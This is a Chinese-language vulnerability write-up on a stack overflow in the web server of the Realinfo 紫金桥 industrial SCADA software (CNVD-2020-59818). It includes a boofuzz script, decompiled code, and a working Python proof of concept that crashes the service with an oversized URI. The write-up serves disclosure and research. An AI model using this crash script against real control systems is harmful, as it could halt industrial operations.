紫金桥组态软件是某工控系统的上位机控制软件,官方网站:http://www.realinfo.com.cn/ 
此漏洞发布于 2020-12-03,CNVD 链接:https://www.cnvd.org.cn/flaw/show/CNVD-2020-59818 
 
基本信息 漏洞评分:高
漏洞描述:紫金桥监控组态软件是一款专业的紫金桥监控组态软件,采用C/S体系结构,拥有数据库处理技术和图形系统。紫金桥监控组态软件存在远程栈溢出漏洞。攻击者可利用漏洞导致web服务崩溃。
漏洞分析 工控系统简介 
工控设备和一些常见的 IoT 设备有很多相似的地方,工控系统通常分为上位机和下位机,下位机负责直接控制设备或者获取设备状况,一般是一些 PLC 或者单片机,它们的计算能力较弱,只负责数据的采集和简单控制。
上位机可以直接发出操控命令,充当控制者的角色,通常由 PC 构成。
我们分析的漏洞就出现在上位机控制软件中,紫金桥组态软件官网宣称其用户包括中国石油、中国石化、中船重工等。
由于上位机充当整个系统的控制管理角色,其地位是比较重要的,一旦恶意用户掌握了上位机的操控权限,即可对整个生产流程进行修改,这将对工业生产造成极大的威胁。
软件下载地址(紫金桥监控组态软件 V6.5):http://www.realinfo.com.cn/html/software/Realinfo/index.html  
下载完成之后运行 Setup.cmd 安装。
漏洞描述中提到了触发漏洞将导致 web 服务崩溃,我们可以去官方帮助文档中查找关于 Web 服务的资料,在这里 搜索 Web,可以找到相关文章:http://www.realinfo.com.cn/html/technology/technical/342.html,根据其中的描述,软件的  Web 功能主要用于数据展示,可以实时查看所需的信息。
帮助文档中提到 Web 发布程序是根目录下的 WebSvr.exe,双击运行可以看到如下界面
Web 发布有两种方式,一是使用 IIS,二是用软件自带的 WEB 服务器,自带的 Web 服务默认运行在 80 端口,在浏览器中可以正常访问,默认的 Web 目录是程序安装路径下的 DemoApp\DemoFunction(1024_768)\,由于软件需要进行注册,暂时无法新建工程。正常使用过程中,Web 目录可以自行设置。
用浏览器访问的时候抓包,正常的访问请求如下
1 2 3 4 5 6 7 8 9 GET /StartLog.Txt HTTP/1.1 Host: 192.168.136.130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 
 
服务器响应
1 2 3 4 5 6 7 8 HTTP/1.0 200 OK Server: MS-MFC-WebSvr/1.0 Date: Fri, 04 Dec 2020 04:21:10 GMT Content-type: text/plain Content-length: 62 Last-Modified: Fri, 06 Apr 2007 00:09:06 GMT 04 06 08:09 RestartProc C:\Program Files\RealInfo\WebSvr.EXE 
 
访问记录在服务端可以看到。
由于程序代码较多,并且是标准的 Web 服务,所以考虑先对其进行 fuzz,这里用到的工具是 boofuzz,关于 boofuzz 的使用方法网上可以找到很多教程,这里就不赘述了,编写 fuzz 脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from  boofuzz import  *import  requests def  fuck ():    session = Session(                 sleep_time=0.2 ,                 target=Target(                 connection=TCPSocketConnection("192.168.136.130" , 80 )                 ))     s_initialize(name="Request" )     with  s_block("Request-Line" ):                  s_static("POST" , name="Method" )         s_static(" " , name='space-1' )         s_string('/aaaa' , name='URI' )         s_static(" " , name='space-2' )         s_static('HTTP/1.1' , name='HTTP-Version' )            s_static("\r\n" )                  s_static("Host" , name="Host" )         s_static(": " )         s_static("192.168.1.1" , name="ip" )         s_static("\r\n" )                                             s_static('Origin' )         s_static(': ' )         s_string('http://192.168.1.1' , name='orogin' )         s_static("\r\n" )                  s_static('Content-Type' )         s_static(': ' )         s_string('application/x-www-form-urlencoded' , name='content-type' )         s_static("\r\n" )                  s_static('User-Agent' )         s_static(': ' )         s_string('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36' , name='user-agent' )         s_static("\r\n" )                  s_static('Accept' )         s_static(': ' )         s_string('text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' , name='accept' )         s_static("\r\n" )                  s_static('Referer' )         s_static(': ' )         s_string('http://192.168.1.1/weblogin.htm' , name='referer' )         s_static("\r\n" )                  s_static('Accept-Encoding' )         s_static(': ' )         s_string('gzip, deflate' , name='accept-encoding' )         s_static("\r\n" )                  s_static('Accept-Language' )         s_static(': ' )         s_string('zh-CN,zh;q=0.9' , name='accept-language' )         s_static("\r\n" )                  s_static('Connection' )         s_static(': ' )         s_string('close' , name='connection' )         s_static("\r\n" )         s_static("\r\n" )     with  s_block('data' ):         s_static('aa=' )         s_string('aa' , max_len=1024 )         s_static('&ab=' )         s_string('ab' , max_len=1024 )         s_static('&ac=' )         s_string('ac' , max_len=1024 )          session.connect(s_get("Request" ))     session.fuzz() fuck() 
 
boofuzz 允许设置监视器,可以在每次 fuzz 之后检查程序是否运行正常,由于目标程序比较简单,没有编写监视器,手动来检测也可以。
运行之后 Web 服务立刻就会崩溃,信息如下
错误代码 c0000409 属于内存访问错误,这里可以确定程序中确实存在一些内存越界问题。
经过测试发现能够稳定触发漏洞的 POC 如下
1 2 3 4 5 6 7 8 9 GET /<payload> HTTP/1.1 Host: 192.168.136.130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 
 
在 payload 处插入超长的字符串可以导致程序崩溃。
接下来要判断崩溃的原因,经尝试 OD 不能正确的捕获到异常信息,需要使用 IDA 调试。
IDA 运行程序之后发送 payload,提示异常信息如下
程序访问了非法地址 0x00190000,中断位置:
edx 就是非法地址。由于中断位于 kernel32.dll 中,猜测是某个系统 API 函数,想要定位用户程序中哪里调用了此函数,可以进行栈回溯,首先找到 EBP 的值为 0018EDE0,查看返回地址 0018EDE4 内容为 
1 0018EDE4  0040297E  sub_4028A0:loc_40297E 
 
这样就找到了 Web 服务器中可能存在问题的代码段,在 IDA 中转到地址 0040297E,发现这里的代码没有被正常识别为函数,在地址 004028A0 按 P 键创建函数,F5 就可以看到反编译代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 void  __stdcall vuln (int  a1, _DWORD *a2) {   int  v2;    int  v3;    LPCSTR *v4;    LPCSTR *v5;    int  v6;    int  v7;    v2 = a1;   v6 = 0 ;   if  ( *(a1 + 12 ) & 1  )   {     v3 = *(a1 + 44 );     switch  ( *(a1 + 20 ) )     {       case  0 :       case  5 :         lstrcpyA(*(a1 + 32 ), *(v3 + 16 ));         break ;       case  1 :         if  ( *(v3 + 32 ) > 0  )         {           v4 = CTime::Format(v3 + 20 , &a1, 57347 );           lstrcpyA(*(v2 + 32 ), *v4);           v7 = -1 ;           CString::~CString(&a1);         }         break ;       case  2 :         lstrcpyA(*(a1 + 32 ), *(v3 + 4 ));         break ;       case  3 :         if  ( *(v3 + 32 ) > 0  )         {           v5 = CTime::Format(v3 + 20 , &v6, 57347 );           lstrcpyA(*(v2 + 32 ), *v5);           v7 = -1 ;           CString::~CString(&v6);         }         break ;       case  4 :         lstrcpyA(*(a1 + 32 ), *(v3 + 12 ));         break ;       default :         break ;     }   }   *a2 = 0 ; } 
 
显然其中引用了多次 lstrcpyA 函数进行字符串拷贝,在拷贝的时候不考虑源字符串长度,当传入超长的字符串之后将导致溢出。不过在静态分析下无法定位到谁使用了这个函数,所以可通过调试看看执行到这里时内存布局情况。
IDA 启动调试,在此函数下断点,当执行到崩溃位置时 lstrcpyA 函数参数如下
源字符串就是我们传入的 payload,目的内存位于栈中,地址是 0018F3C0,进入拷贝函数之后由于源字符串超长,缓冲区指针将不断递增,最终到达 0x00190000 的不可写内存,导致程序崩溃。
值得注意的是当提示程序停止工作的时候,错误模块是 comctl32.dll,它是应用程序共用 GUI 库,当发送一个访问请求之后,程序会在窗口中将访问的 URI 显示出来,在显示的过程中缺少对 URI 长度限制,可能导致在绘制 GUI 的时候发生错误。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  requestsimport  timeip = "192.168.136.130"  burp0_url = "http://"  + ip + "/"  + "a"  * 0x1000  burp0_headers = {"Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } while  True :    try :         requests.get(burp0_url, headers=burp0_headers, timeout=3 )         time.sleep(1 )     except :         print ("[+] Success!" )         exit(0 ) 
 
- 这个漏洞比较简单,目前来看只能造成拒绝服务,暂时不清楚能否对控制系统产生影响,另外在主程序存在数据传输端口 1998,有可能也存在一些问题。
我们使用了简单的 fuzz 技巧来发现这个漏洞,fuzz 的核心就是定义数据格式适配目标程序,如果大家有更好的模糊测试思路欢迎来信讨论。